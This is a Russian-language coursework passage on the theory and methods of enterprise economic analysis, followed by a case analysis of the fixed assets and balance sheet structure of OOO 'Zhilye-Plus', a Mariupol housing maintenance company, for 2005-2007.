Основное отличие предмета от объекта заключается в том, что в предмет входят лишь главные, наиболее существенные с точки зрения данной науки свойства и признаки. Таким существенным признаком анализа хозяйственной деятельности является изучение взаимодействия явлений, причинно-следственных связей в хозяйственной деятельности предприятий (объединений).

Одной функций анализа хозяйственной деятельности является изучение характера действия экономических законов, установление закономерностей и тенденций экономических явлений и процессов в конкретных условиях предприятия.

В этой своей функции анализа хозяйственной деятельности является средством изучения действия экономических законов в конкретных условиях производства.

Важной функцией анализа хозяйственной деятельности является научное обоснование текущих и перспективных планов. Без глубокого экономического анализа результатов деятельности предприятия за прошлые годы и без обоснованных прогнозов на перспективу, без изучения закономерностей развития экономики предприятия, без выявления имевших место недостатков и ошибок нельзя разработать научно обоснованный план, выбрать оптимальный вариант управленческого решения.

К функциям анализа относится также контроль за выполнением планов и управленческих решений, за экономным использованием ресурсов. Анализ проводится не только с целью констатации фактов и оценки достигнутых результатов, но и с целью выявления недостатков, ошибок и оперативного воздействия на экономические процессы. Именно по этому необходимо повышать оперативность и действенность анализа.

Одной из основных функций анализа является изучение влияния объективных и субъективных, внешних и внутренних факторов на результаты хозяйственной деятельности, что позволяет объективно оценивать работу предприятия, делать правильную диагностику его состояния и прогноз развития на перспективу, выявлять основные направления поиска резервов повышения его эффективности.

Центральная функция анализа, которую он выполняет на предприятии — поиск резервов повышения эффективности производства на основе изучения передового опыта и достижений науки и практики.

Следующая функция анализа — оценка результатов деятельности предприятия по выполнению планов, достигнутому уровню развития экономики, использованию имеющихся возможностей и диагностика его положения на рынке товаров и услуг. Объективная диагностика деятельности предприятия способствует росту производства, повышению его эффективности, и наоборот.

И наконец, разработка рекомендаций по использованию выявленных резервов в процессе хозяйственной деятельности — также одна из функций анализа хозяйственной деятельности.

Таким образом, анализ хозяйственной деятельности как наука представляет собой систему специальных знаний, связанных с исследованием тенденций хозяйственного развития, научным обоснованием планов, управленческих решений, контролем за их выполнением, измерением влияния факторов, оценкой достигнутых результатов, поиском, измерением и обоснованием величины хозяйственных резервов повышения эффективности производства и разработкой рекомендаций по их использованию.

Аналитическое исследование, его результаты и их использование в управлении производством должны соответствовать определенным методологическим принципам, которые накладывают свой отпечаток на само аналитическое исследование и должны обязательно выполняться при организации, проведении и практическом использовании результатов анализа. Кратко остановимся на важнейших из них.

1. Анализ должен базироваться на государственном подходе при оценке экономических явлений, процессов, результатов хозяйствования. Иначе говоря, оценивая определенные проявления экономической жизни, нужно учитывать их соответствие государственной экономической, социальной, экологической, международной политике и законодательству.

2. Анализ должен носить научный характер, т.е., основываться на положениях диалектической теории познания, учитывать требования экономических законов развития производства, использовать достижения НТП и передового опыта, новейшие методы экономических исследований.

3. Анализ должен быть комплексным. Комплексность исследования требует охвата всех звеньев и всех сторон деятельности и всестороннего изучения причинных зависимостей в экономике предприятия.

4. Одним из требований к анализу является обеспечение системного подхода, когда каждый изучаемый объект рассматривается как сложная динамическая система, состоящая из ряда элементов, определенным способом связанных между собой и внешней средой. Изучение каждого объекта должно осуществляться с учетом всех внутренних и внешних связей, взаимозависимости и соподчиненности его отдельных элементов.

5. Анализ хозяйственной деятельности должен быть объективным, конкретным, точным. Он должен основываться на достоверной, проверенной информации, реально отражающей объективную действительность, а выводы его должны обосновываться точными аналитическими расчетами. Из этого требования вытекает необходимость постоянного совершенствования организации учета, внутреннего и внешнего аудита, а также методики анализа с целью повышения точности и достоверности его расчетов.

6. Анализ призван быть действенным, активно воздействовать на ход производства и его результаты, своевременно выявляя недостатки, просчеты, упущения в работе и информируя об этом руководство предприятия. Из этого принципа вытекает необходимость практического использования материалов анализа для управления предприятием, для разработки конкретных мероприятий, для обоснования, корректировки и уточнения плановых данных, В противном случае цель анализа не достигается.

7. Анализ должен проводиться по плану, систематически, а не от случая к случаю. Из этого требования вытекает необходимость планирования аналитической работы на предприятиях, распределения обязанностей по ее выполнению между исполнителями и контроля за ее проведением.

8. Анализ должен быть оперативным. Оперативность означает умение быстро и четко проводить анализ, принимать управленческие решения и претворять их в жизнь.

9. Один из принципов анализа — его демократизм, предполагающий участие в проведении анализа широкого круга работников предприятия, что обеспечивает более полное выявление передового опыта и использование имеющихся внутрихозяйственных резервов.

10. Анализ должен быть эффективным, т.е. затраты на его проведение должны давать многократный эффект.

Таким образом. основными принципами анализа являются научность, комплексность, системность, объективность, точность, достоверность, действенность, оперативность, демократизм, эффективность и др. Ими следует руководствоваться, проводя анализ хозяйственной деятельности на любом уровне.

1.3 Виды анализа

Классификация анализа хозяйственной деятельности имеет важное значение для правильного понимания его содержания и задач.

Анализ хозяйственной деятельности классифицируется по разным признакам.

По отраслевому признаку, который основывается на общественном разделении труда, анализ делится на отраслевой, методика которого учитывает специфику отдельных отраслей экономики и межотраслевой, который является теоретической и методологической основой анализа хозяйственной деятельности во всех отраслях национальной экономики, или, другими словами, теорией анализа хозяйственной деятельности.

Объективная необходимость отраслевого анализа хозяйственной деятельности обусловлена спецификой разных отраслей производства. Каждая отрасль общественного производства в силу разного характера труда имеет свои особенности, свою специфику и, как следствие, характерные экономические отношения. Необходимость исследования специфики разных отраслей обусловила потребность разработки методики анализа хозяйственной деятельности с учетом особенностей и условий каждой отрасли экономики.

Одновременно нужно учитывать, что все отрасли общественного производства тесно связаны между собой, им присуще много общего. Взаимосвязи отдельных отраслей, наличие внутренней связи между ними вызывают необходимость разработки межотраслевого анализа. Теория анализа хозяйственной деятельности раскрывает наиболее общие методологические черты и особенности этой науки, обобщает передовой опыт анализа хозяйственной деятельности в разных отраслях экономики, обогащает содержание экономического анализа в целом и отраслевого в частности. Владение общими теоретическими знаниями по экономическому анализу является необходимым условием грамотной, квалифицированной разработки и практического использования индивидуальных методик отраслевого анализа.

По признаку времени анализа хозяйственной деятельности подразделяется на предварительный (перспективный) и последующий (ретроспективный, исторический).

Предварительный (прогнозный) анализ проводится до осуществления хозяйственных операций. Он необходим для обоснования управленческих решении и плановых заданий, а так же для прогнозирования будущего и оценки ожидаемого выполнения плана, предупреждения нежелательных результатов.

Последующий (ретроспективный) анализ проводится после совершения хозяйственных актов. Он используется для контроля за выполнением плана, выявления неиспользованных резервов, объективной оценки результатов деятельности предприятия, диагностики его состояния

Перспективный и ретроспективный анализы тесно связаны между собой. Без ретроспективного анализа невозможно сделать перспективный. Анализ результатов труда за прошлые годы позволяет изучить тенденции, закономерности развития экономики, выявить неиспользованные возможности, передовой опыт, раскрыть последствия ранее принятых управленческих решений, что имеет важное значение при обосновании уровня экономических показателей на перспективу. Умение видеть перспективу дает именно ретроспективный анализ. Он является основой перспективного анализа.

В свою очередь от глубины и качества предварительный анализа на перспективу зависят результаты ретроспективного анализа. Если плановые показатели недостаточно обоснованы и реальны, то последующий анализ выполнения плана вообще теряет смысл и требует предварительной оценки обоснованности плановых показателей

Ретроспективный анализ в свою очередь делится на оперативный и итоговый (результативный). Оперативный анализ проводится сразу после совершения хозяйственных операций или изменения ситуации за короткие отрезки времени (смену, сутки, декаду и т.д.). Цель его — оперативно выявлять недостатки и воздействовать на хозяйственные процессы. Рыночная экономика характеризуется динамичностью ситуации, как производственной коммерческой финансовой деятельности предприятия, так и его внешней среды. В этих условиях оперативный анализ приобретает особое значение.

Итоговый (заключительный) анализ проводится за отчетный период времени (месяц, квартал, год). Его ценность в том, что деятельность предприятия изучается комплексно и всесторонне по отчетным данным за соответствующий период. Этим обеспечивается более полная оценка деятельности предприятия по использованию имеющихся возможностей

Итоговый и оперативный анализы взаимосвязаны и дополняют друг друга. Они дают возможность руководству предприятия не только оперативно ликвидировать недостатки в процессе производства, но и комплексно обобщать достижения, результаты деятельности за соответствующие периоды времени, разрабатывать мероприятия, направленные на рост эффективности бизнеса.

Перспективный анализ в зависимости от длины временного горизонта делится на краткосрочный и долгосрочный. Краткосрочный анализ охватывает период до одного года, а долгосрочный — свыше года. Краткосрочный прогнозный анализ используется для выработки тактической, а долгосрочный — стратегической политики предприятия в области бизнеса. Второй вид менее детализирован, чем первый, но его роль значительно выше. Если выбрана правильная стратегия развития предприятия, то тогда легче принимать тактические решения.

По пространственному признаку можно выделить анализ внутрифирменный и межфирменный. Внутрифирменный анализ изучает деятельность только исследуемого предприятия и его структурных подразделений. При межфирменном анализе сравниваются результаты деятельности двух или более предприятий. Это позволяет выявить передовой опыт, резервы, недостатки и на основе этого дать более объективную оценку эффективности деятельности предприятия.

По функциональному признаку, по той роли и задачам, которые он выполняет, выделяют финансовый, управленческий, маркетинговый, инвестиционный, социально-экономический, экономико-экологический, функционально-стоимостной, логистический и другие виды анализа.

Важное место среди всех видов анализа хозяйственной деятельности занимает финансовый анализ, который может быть охарактеризован как процесс познания сущности финансового механизма функционирования субъектов хозяйствования. Основное его назначение состоит в изучении, диагностике и прогнозировании финансового состояния предприятия и выявлении резервов повышения его устойчивости. На уровне предприятия его проводят финансовые службы. Внешний финансовый анализ проводится банками, аудиторскими фирмами, инвесторами и т.д.

Управленческий анализ проводят все службы предприятия с цёлью предоставления руководству информации, необходимой для планирования контроля и принятия оптимальных управленческих решений, выработки стратегии и тактики по вопросам финансовой политики, маркетинговой деятельности, совершенствования техники, технологии и организации производства. Он носит оперативный характер, результаты его являются коммерческой тайной.

Технико-экономический анализ проводят технические службы предприятия (главного инженера, главного технолога и др.). Его содержанием является изучение взаимодействия технических и экономических процессов и установление их влияния на экономические результаты деятельности предприятия.

Социально-экономический анализ проводят экономические службы управления, социологические лаборатории, статистические органы. Он изучает взаимосвязь социальных и экономических процессов, их влияние друг на друга и на экономические результаты хозяйственной деятельности.

Экономико-статистический анализ применяется статистическими органами для изучения массовых общественных явлений на разных уровнях управления предприятия, отрасли, региона.

Экономико-экологический анализ проводят органы охраны окружающей среды, экономические службы предприятия с целью исследования взаимодействия экологических и экономических процессов, связанных с сохранением и улучшением окружающей среды и затратами на экологию.

Маркетинговый анализ применяется службой маркетинга предприятия или объединения для изучения внешней среды функционирования предприятия, рынков сырья и сбыта готовой продукции, ее конкурентоспособности, спроса и предложения, коммерческого риска, формирования ценовой политики, разработки тактики и стратегии маркетинговой деятельности.

Инвестиционный анализ используется для разработки программы и оценки эффективности инвестиционной деятельности субъектов хозяйствования.

Функционально-стоимостный анализ (ФСА) исследует функции, которые выполняет объект, и методы их реализации. Его основное назначение в том, чтобы выявить ненужные функции объекта и предупредить лишние затраты за счет ликвидации ненужных узлов, деталей, упрощения конструкции изделия, замены материалов и т.д.

В последние годы все более широкое применение находит логистический анализ, с помощью которого исследуются товарные потоки, начинающийся от поставщиков сырья, проходящие через предприятие и заканчивающиеся у покупателей. Логистика координирует такие функциональные сферы предприятия, как снабжение, производство и сбыт, и способствует ускорению материальных и денежных потоков. С ее помощью предприятия получают возможность снижать затраты за счет организации снабжения, производства и сбыта на принципах “точно вовремя”. Логистика становится основным ключом к успеху, важным стратегическим инструментом поддержания конкурентоспособности предприятия на рынках с сильной конкуренцией.

По методике изучения объектов различают качественный и количественный анализ, экспресс-анализ, фундаментальный анализ, маржинальный анализ, экономико-математический анализ и т.д.

Качественный анализ — это способ исследования, основанный на качественных сравнительных характеристиках и экспертных оценках исследуемых явлений и процессов.

Количественный (факторный) анализ основан на количественных сопоставлениях и исследовании степени чувствительности экономических явлений к изменению различных факторов.

Экспресс-анализ представляет собой способ диагностики состояния экономики предприятия на основе типичных признаков, характерных для определенных экономических явлений.

Знание признака позволяет быстро и довольно точно установить характер происходящих процессов, не производи глубоких фундаментальных исследований, требующих дополнительного времени и средств.

Фундаментальный анализ представляет собой углубленное, комплексное исследование сущности изучаемых явлений с использованием математического аппарата и другого сложного инструментария

Маржинальный анализ — это метод оценки и обоснования эффективности управленческих решений в бизнесе на основании причинно-следственной взаимосвязи объема продаж себестоимости и прибыли и деления затрат на постоянные и переменные.

С помощью экономико-математического анализа выбирается наиболее оптимальный вариант решения экономической задачи, выявляются резервы повышения эффективности производства за счет более полного использования имеющихся ресурсов.

По субъектам (пользователям анализа) различают внутренний и внешний анализ. Внутренний анализ осуществляется непосредственно на предприятии для нужд оперативного, краткосрочного и долгосрочного управления производственной, коммерческой и финансовой деятельностью. Внешний анализ проводится на основании финансовой и статистической отчетности органами хозяйственного управления, банками, финансовыми органами, акционерами, инвесторами.

По степени охвата изучаемых объектов анализ делится на сплошной и выборочный. При сплошном анализе выводы делаются после изучения всех без исключения объектов, а при выборочном — по результатам обследования только части объектов, что позволяет ускорить аналитический процесс и выработку управленческих решений по результатам анализа.

По содержанию программы анализ может быть комплексным и тематическим. При комплексном анализе деятельность предприятия изучается всесторонне, а при тематическом — только отделы ее стороны, представляющие в определенный момент наибольший интерес. Каждая из названных форм анализа хозяйственной деятельности своеобразна по содержанию, организации и методике его проведения.

1.4 Характеристика методов планирования и прогнозирования в анализе финансово — хозяйственной деятельности

Методы планирования. В условиях командной административной системы управления за базу расчета принимался отчетный год и допуская, что и в будущем сохранится тенденция динамики темпов и пропорций, которая сложилась в прошлом, определяли промежуточные и конечные результаты. Этот метод, в основе которого лежат ресурсы и динамика прошедших годов называется экстраполноционным методом. Этот же метод используют и корпорации, что занимают монопольное положение на рынке. Для монополий нет угрозы со стороны конкурентов, поэтому они, установив монопольное высокие цены, постепенно расширяют объемы продажи и снижая цены, захватывают все новые рынки.

В условиях конкурентной борьбы исходной позицией, начальным моментом планирования есть потребности рынка, спрос на продукцию и услуги. Поэтому метод, ориентированный на динамику темпов и пропорций в прошлом, здесь, как правило, не подходит. Для того, чтобы закрепиться на рынке, завоевать его новые сегменты, фирмы должны ставить конкретные цели на будущее и, уже исходя из этих целей (конечного результата) планировать промежуточные этапы. Метод, при котором предприятия устанавливают цель для достижения в будущем и, исходя из нее, определяют длительность планового периода и промежуточные плановые показатели получил название — интерполяционный метод.

Для определения степени обоснованности показателей применяются специальные методы планирования.

Пробно-статистический — предусматривает использование фактических статистических данных за предыдущие годы, средних величин при установлении плановых показателей. Здесь практически экстраполяция. В условиях рыночных отношений применения этого метода ограниченное, он не позволяет учесть изменение рыночной конъюнктуры.

Балансовый метод — обеспечивает согласование потребностей с необходимыми ресурсами. Его суть сводится к разработке специальных таблиц-балансов, в одной части которых показывают все направления затраты ресурсов соответственно потребностям, а в другой — источники нахождения этих ресурсов. Балансы на предприятии разрабатываются для разных видов ресурсов (материальных, трудовых, финансовых).

Матричный метод планирования — дальнейшее развитие балансового метода и является построением моделей взаимосвязей между производственными подразделами и показателями.

Экономико-математическое моделирование позволяет разрабатывать не один, а несколько вариантов плана. При этом показатели наиболее важных его разделов должны быть оптимизированы посредством специальных экономико-математических моделей.

Факторный метод планирования. При этом методе плановые значения показателей определяются на основе влияния самых важных факторов, которые обусловливают изменения этих показателей.

Нормативный метод планирования. Этот метод планирования обеспечивает планирование основных разделов плана предприятия на базе технически обоснованных норм и нормативов.

Внедрение нормативного учета немыслимо без разработки норм и нормативов — то есть создание нормативного хозяйства с использованием вычислительной техники. В этих условиях нормативный метод планирования должен быть основным для предприятий всех форм собственности. Ввиду того, что нормы и нормативы — величины динамические, нормативный метод планирования должен предусматривать расчет соответствующих показателей по нормам на начало планового периода со следующим изменением норм от внедрения организационных технических мероприятий и формирования на основе плановых норм соответствующих показателей плана предприятия

Раздел 2. Анализ финансово-хозяйственной деятельности предприятия

2.1 Экономико-правовая характеристика предприятия

С целью распространения эксперимента по привлечению негосударственных предприятий по обслуживанию жилого фонда, руководствуясь постановлением Кабинета министров Украины от 31.07.95 № 588 « Про затвердження положення про порядок організації та діяльності об»єднань, створених власником для управління, утримання та використання майна житлових будинків, які знаходяться у суспільному користуванні», а также на основании статьи 38 Закона Украины « Про місцеве самоврядування в Україні» и учитывая обращение общества с ограниченной ответственностью «Жилье-Плюс» решением исполнительного комитета Мариупольского городского совета от 18.04.2001г. № 137/1 передали на содержание и обслуживание жилой фонд с 01.05.01 ООО « Жилье-Плюс», передав функции по сбору квартирной платы и сборов с арендаторов и собственников нежилых помещений возмещения эксплуатационных расходов по содержанию домов.

Основной целью деятельности предприятия является эксплуатация и ремонт жилищного фонда с целью получения прибыли.

Предприятие действуют в соответствии с Законом Украины « О предприятиях в Украине», «О предпринимательстве», «О внешнеэкономической деятельности», и другими нормативными актами.

Предприятие является юридическим лицом.

Предприятие имеют самостоятельный баланс, печать, расчетный и другие счета в учреждениях банка, со своими наименованиями, товарными знаками и другими реквизитами. Предприятия могут от своего лица приобретать имущественные и личные права, вступать в обязательства, быть истцами и ответчиками в суде, хозяйственном суде и третейских судах.

Целью создания предприятий является:

— получение прибыли;

— сохранение находящегося в его ведении жилищного фонда городского совета в исправном состоянии;

— обеспечение правильной эксплуатации, проведение капитального и текущего ремонта жилищного фонда.

Предприятие работает на тарифах по содержанию домов и придомовой территории установленные исполкомом Мариупольского совета, в которых учтена специфика жилищного фонда г.Мариуполя- наличие коммунального благоустройства, техническое состояние зданий и их срок эксплуатации, внутренних инженерных систем и инженерного оборудования. Жилой фонд разбит на 3 типа:

1 ТИП — неблагоустроенное или частично благоустроенное жилье (имеет один из видов благоустройства жилья);

П ТИП — благоустроенное жилье (оборудовано холодным и горячим водоснабжением, водоотводом, водяным отоплением, газоснабжением, электроплитами или одно из них);

Ш ТИП – благоустроенное жилье повышенной степени благоустройства, дополнительно к упорядоченному жилью имеет лифт.

Перечень работ, связанный с содержанием, обслуживанием и ремонтом домов и сооружений и при домовых территорий:

Уборка лестничных клеток.

Уборка придомовой территории.

Обслуживание лифтов.

Электроэнергия для лифтов.

Освещение лестничных клеток.

Обслуживание внутренне домовых систем водо-, теплоснабжения, водоотвода, сливной канализации.

Вывоз и утилизация твердого бытового и грубого мусора.

Дератизация.

Дезинсекция.

Обслуживание дымовентиляционных каналов.

Уборка подвалов.

Техническое обслуживание бытовых электроплит.

Текущий ремонт:

Кровли;

Подъездов и лестничных клеток;

Несущих и защитных конструкций дома и столярных изделий фасадов;

Внутренних сантехсистем.

14. Содержание производственных мастерских, транспортных средств и механизмов для обслуживания жилья, текущего ремонта и ликвидации аварий.

15. Общепроизводственные расходы и административные расходы.

16. Очистка дворовых туалетов.

17. Другие прямые расходы, предусмотренные действующим законодательством.

2.2 Предмет деятельности предприятия

Предметом деятельности предприятия является:

Эксплуатация и управление жилищного фонда и нежилых помещений городского совета.

Перспективное планирование реконструкции, капитального ремонта и содержание жилищного фонда и нежилых помещений, объектов социально-культурного и бытового назначения.

Прогнозирование, определение и разработка перспективных и приоритетных направлений развития жилищного хозяйства.

Подготовка проектно-сметной документации на проведение ремонта жилого фонда, технический надзор за производством работ по ремонту зданий, заключение договоров на производство ремонта жилищного фонда.

Оказание услуг материально-технического снабжения предприятиям и гражданам.

Изучение и внедрение отечественного и зарубежного опыта комплексного решения социально-бытовых, экономических и жилищных проблем.

Разработка и внедрение мероприятий для реализации программ улучшения жилищных и социально бытовых условий путем привлечения существующих и нетрадиционных источников финансирования, эксплуатации и обновления объектов предприятий.

Оказание бытовых, коммунальных и транспортных услуг.

Общестроительные работы, выполнение ремонтно-строительных работ.

Монтаж системы отопления, вентиляции и кондиционирования воздуха, дымовентиляции и пожаротушения.

Проведение ремонтных работ водопроводных и канализационных систем.

Проведение периодического осмотра, прочистки и ремонта дымовых и вентиляционных каналов.

Оказание услуг по подготовке кадров в пределах предмета деятельности предприятий

Внешнеэкономическая деятельность.

Оптовая, розничная торговля, осуществление бартерных операций, оказание посреднических услуг.

Оказание консультационных услуг, подготовка необходимых документов по всем видам деятельности предприятий.

Производство и реализация стройматериалов, сантехнического оборудования и других изделий.

Транспортно-эксплуатационные услуги.

Выполнение и оказание ус луг по профилактической дезинфекции, дезинсекции и дератизации в жилых домах, вывозу твердых бытовых отходов.

Услуги по техническому обслуживанию, текущему и капитальному ремонту и установке бытовых стационарных электроплит, ремонт электрощитовых.

2.3 Основные виды деятельности

ООО «Жилье-Плюс» оказывает такие услуги:

— внешнее благоустройство;

— уборка территории;

— эксплуатация и управление жилищным фондом городского совета;

— оказание услуг материально-технического снабжения предприятиям, организациям и гражданам;

— общедомовые работы;

— общественное и промышленное строительство;

— реставрация домов, сооружений;

— ремонтные, ремонтно-строительные работы;

— ремонт и строительство жилья по заказам населения;

— выполнение евроремонтов жилья, офисов, сооружений непроизводственного назначения;

— облицовочные работы;

— малярные работы;

— штукатурные работы;

— устраивание дорожных основ и покрытий;

— выполнение монтажных работ;

— выполнение отделочных работ;

— выполнение электромонтажных работ;

— выполнение теплоизоляционных работ;

— выполнение сантехнических работ;

— выполнение художественно-оформительных работ;

— кровельные работы;

— ремонт и реставрация сооружений непроизводственного предназначения;

— капремонт и реставрация сооружений производственного предназначения;

— строительные работы хозяйственным и подрядным способом;

— производство и реализация тротуарной плитки;

— производство и реализация строительных материалов;

— деревообрабатывающие и столярные работы;

— деревообрабатывающее производство;

— изготовление нестандартного оборудования;

— изготовление металлоконструкций, окон, дверей, и др.;

— проведение канализационных систем;

— проведение ремонтных работ водопроводных и канализационных систем;

— проведение периодического осмотра, прочистки и ремонту дымовых и вентиляционных каналов;

— оказание эксплуатационных, ремонтно-строительных и других платных услуг населению, предприятиям и организациям;

— проведение внутренних сантехнических систем;

— выполнение функций подрядчика;

— внешнеэкономическая деятельность;

— посреднические услуги в сфере транспорту, жилищно-коммунального хозяйства, бытового обслуживания.

2.4 Основные технико-экономические показатели жилого фонда, обслуживаемого предприятием

Основные технико-экономические характеристики жилого фонда на 01.01.2008г.:

— число жилых строений – 49 домов;

— жилая площадь – 158,6 тыс. м2;

— общая площадь – 248,3 тыс.м2;

— количество квартир – 4620 шт.

— количество квартиросъемщиков – 4649 чел.;

— количество проживающих – 11344 чел.

Таблица 2.4.1 — Характеристика по годам постройки

года

до 1918г.

1918-1940г.г.

1951-1960г.г.

1971-1980г.г.

1981-1990г.г.

1991- 2000г.г.

Итого
шт./ тыс.м2

9 / 1,1

1 / 2,2

3 / 2,8

12 / 102,5

20 / 121,8

4 /17,9

49 / 248,3
%

0,4

0,9

1,1

41,3

49,1

7,2

100

Таблица 2.4.2 — Дома по этажности

кол-во этажей

1 эт.

2 эт.

3 эт.

7-9 эт.

10-16 эт.

Итого
шт./тыс. м2

9 /1,1

1 / 0,8

2 / 4,2

30 / 218,5

6 / 23,7

49 / 248,3
%

0,4

0,3

1,8

88,0

9,5

100

Жилой фонд, находящийся на обслуживании в основном состоит из многоэтажных домов – 97,5%.

Характеристика по материалам стен:

— кирпичные -15 домов;

— блочные – 4 дома;

— панельные – 30 домов.

Таблица 2.4.3 — Техническое оснащение жилого фонда

хар-ка

электро-освещением

водопроводом

канализацией

центральным отопление

горячим водоснабжением
шт. / тыс.м2

49 / 248,3

49 / 248,3

49 / 247,4

41 / 247,3

37 / 242,7

Основные элементы инженерного оборудования:

— 479 электроплит;

— 113 мусоропроводов;

— 119 лифтов;

— 4605 ванн

— 4141 газовых плит;360 дымовых каналов;

— 9000 вентиляционных каналов;

— площадь придомовой территории – 216,7 тыс. м2

Характеристика жилого фонда по типам домов:

1 тип – 1093,08 м2

2 тип – 4991,39 м2

3 тип – 242290,47 м2

2.5 Анализ финансово-хозяйственной деятельности

Основные фонды предприятия – это совокупность средств труда и материально-вещественных ценностей, участвующих в процессе труда в течении длительного времени.

К ним относятся:

1. Здания.

2. Сооружения.

3. Передаточные устройства.

4. Машины и оборудование.

5. Транспортные средства

6. Инструменты всех видов.

7. Производственный инвентарь.

8. Хозяйственный инвентарь.

9.Рабочий продуктивный скот.

10. Многолетние насаждения.

11. Капитальные затраты по улучшению земель.

12. Прочие основные фонды.

Основные фонды подразделяются на производственные и непроизводственные.

Дадим оценку состояния основных фондов, определив коэффициенты годности, износа, поступления, выбытия и обновления.

Экономическая значимость коэффициента годности заключается в том, насколько процентов основные фонды перенесли свою первоначальную стоимость на производительную продукцию и определяется как отношение остаточной стоимости основных фондов к их первоначальной стоимости:

К год = Остаточная стоимость ОФ

Коэффициент износа показывает степень изношенности основных фондов:

К изн = Износ ОФ

Коэффициент обновления – показывает количество основных фондов, введенных в действие.

К об = Свв/Ссг,

где К об – коэффициент обновления основных фондов;

Свв – стоимость введенных основных фондов, тыс. грн.;

Ссг – Среднегодовая стоимость основных фондов, тыс. грн.

Коэффициент выбытия основных фондов – показывает, какое количество основных фондов в стоимостном выражении выбыло, т.е снято с баланса:

Квыб = Свыб/Снг,

где К выб – коэффициент выбытия основных фондов;

Свв – стоимость выбывших из трудового процесса основных фондов, тыс. грн.;

Ссг – среднегодовая стоимость основных фондов, тыс. грн.

Проанализировав формы отчетности сведем данные о движении основных фондов в таблицу 2.5.1

Таблица 2.5.1 — Движение основных фондов за период 2005-2007 года, тыс. грн.

Показатели

2005год

2006 год

2007 год
Первоначальная стоимость на начало года

36,2

40,5

58,4
Поступило

4,3

17,9

—
Выбыло

—

—

—
Первоначальная стоимость на конец года

40,5

58,4

58,4

Учитывая данные таблицы 2.5.1 рассчитаем коэффициент обновления, коэффициент выбытия и сведем в таблицу 2.5.2

Таблица 2.5.2 — Показатели движения основных фондов

Показатели

2005 год

2006 год

2007 год
Коэффициент поступления

0,11

0,36

—
Коэффициент обновления

0,11

0,36

—
Коэффициент выбытия

—

—

—

Для того, чтобы определить состояние основных фондов необходимо рассчитать коэффициенты годности и износа. Полученные показатели сведем в Таблицу 2.5.3

Таблица 2.5.3 — Показатели состояния основных фондов

Показатели

2005

2006

2007
Первоначальная стоимость на начало года, тыс. грн.

36,2

40,5

58,4
Износ, тыс. грн.

18,0

35,4

47,8
Остаточная стоимость на начало года, тыс. грн.

18,2

5,1

10,6
Коэффициент годности, %

50,3

12,6

18,2
Коэффициент износа, %

49,7

87,4

81,8

Из Таблицы видно, что коэффициент годность основных фондов на протяжении исследуемого периода уменьшался, а износ увеличивался.

Также для определения степени использования основных фондов применяются следующие показатели: фондоотдача, фондоемкость, фондовооруженность.

Фондоотдача – показывает выпуск продукции на одну гривну стоимости основных фондов.

Фо = ЧД/Ссг,

где Фо – фондоотдача, ЧД –чистый доход, Ссг – среднегодовая стоимость основных фондов.

Фондоемкость – показывает, сколько основных фондов участвуют в выпуске 1 гривны продукции

Ф = Ссг/ЧД= 1/Фо,

Фондооворуженность — характеризует степень оснащенности труда одного рабочего основными фондами.

Фв = Ссг/Чраб,

Где Фв – фондооворуженность, Ч раб – численность работающих.

Результаты вычислений сведем в таблицу 2.5.4.

Таблица 2.5.4 — Показатели эффективности использования основных фондов

Показатели

2005

2006

2007
Фондоотдача

39,3

43,54

63,89
Фондоемкость

0,025

0,023

0,0156
Фондовооруженность

1,32

1,55

0,77

Из таблицы 2.5.4 видно, что показатель фондоотдачи к 2007 году увеличился, а фондоемкости – уменьшился. В 2007 году значительно снизилась фондовооруженность т.к. наблюдается рост среднесписочной численности.

2.6 Анализ структуры баланса

Хозяйственная деятельность является эффективной, если предприятие:

— рационально использует активы;

— своевременно погашает обязательства;

— рентабельно.

Используя статьи финансовой отчетности – Баланс и Отчета о финансовых результатах. Проанализируем эффективность деятельности предприятия. Целью анализа является простая и наглядная оценка динамики

Вертикальный анализ

В отличии от горизонтального, показывающего динамику статей финансовой отчетности за ряд лет, вертикальный анализ является анализом внутренней структуры отчетности. При проведении такого анализа целая часть приравнивается к 100% и исчисляется удельный вес каждой ее составляющей. Целыми частями принимают итоги Баланса (Актив, Пассив), Объем реализации Отчета о финансовых результатах. С помощью этого метода анализа выясняют, какую долю в группе или подгруппе составляет конкретная статья, что позволяет определить влияние показателя этой статьи на деятельность предприятия.

2.6.1 Анализ актива баланса

Базовую структуру Баланса можно представить в ивде простого уравнения:

Активы = Обязательства + Собственный капитал

Структурный анализ Баланса сосредоточен на двух основных аспектах:

1. Каким образом распределены активы предприятия, в которые вложен капитал, то есть какова структура активов.

2. Каким образом распределены источники этих активов между долгосрочной, краткосрочной задолженностью и собственным капиталом.

Для анализа уплотним баланс исследуемого предприятия. Допустимо объединение статей внутри разделов. Сжато изобразим структуру актива баланса ООО «Жилье-Плюс».

Таблица 2.6.1 — Структура актива баланса ООО « Жилье-Плюс» за 2005-2007 гг.

Показатели

2005г.

2006г.

2007г.
сумма

%

сумма

%

сумма

%
Основные фонды

5,1

1,1

10,6

1,4

1,2

0,12
Оборотные средства

461,5

98,9

733,1

98,6

1001,1

99,88
Всего активов

466,6

100

743,7

100

1002,3

100

Данные таблицы свидетельствуют о том, что в основном актив баланса представлен оборотными средствами.

Для того, чтобы полнее ознакомится с хозяйственной деятельностью предприятия, необходимо детальнее изучить и проанализировать структуру его оборотных средств.

Оборотными средствами предприятий называется совокупность всех материальных ресурсов и денежных средств, вложенных в процессе производства товаров, которые должны окупиться за один оборот капитала.

Особенностью оборотных средств является их двойственность: это и деньги и материалы.

В связи с этим их подразделяют на оборотные производственные фонды и фонды обращения.

Оборотные производственные фонды подразделяются на две группы:

— оборотные фонды в производственных запасах (сырье и основные материалы, покупные полуфабрикаты, вспомогательные материалы, топливо, тара и тарные материалы, запчасти для текущих ремонтов, малоценный быстроизнашивающийся хозяйственный инвентарь.

— оборотные фонды в процессе производства (незавершенное производство, полуфабрикаты собственного производства, расходы будущих периодов).

В состав фондов обращения входят: готовая продукция, предназначенная для реализации, продукция отгруженная потребителям, срок оплаты которой не наступил, денежные средства в банках, в кассе и средства в расчетах, дебиторская и кредиторская задолженность.

По источникам формирования оборотные средства классифицируются на собственные, заемные и привлеченные.

Собственные оборотные средства – это те оборотные средства, которыми предприятие снабдили учредители.

Заемные оборотные средства – это кредиты банка.

Привлеченные оборотные средства – это кредиторская задолженность клиентам и покупателям.

Изобразим структуры оборотных средств ООО «Жилье-плюс» за 2005-2007 гг.

Таблица 2.6.2 — Структура оборотных средств

Показатели

2005

2006

2007
тыс. грн.

%

тыс. грн.

%

тыс. грн.

%
Производственные запасы

10,5

2,3

17,5

2,4

35,1

3,5
Готовая продукция

Дебиторская задолженность

440,5

95,4

699,8

95,5

919,2

91,8
Денежные средства

10,5

2,3

15,8
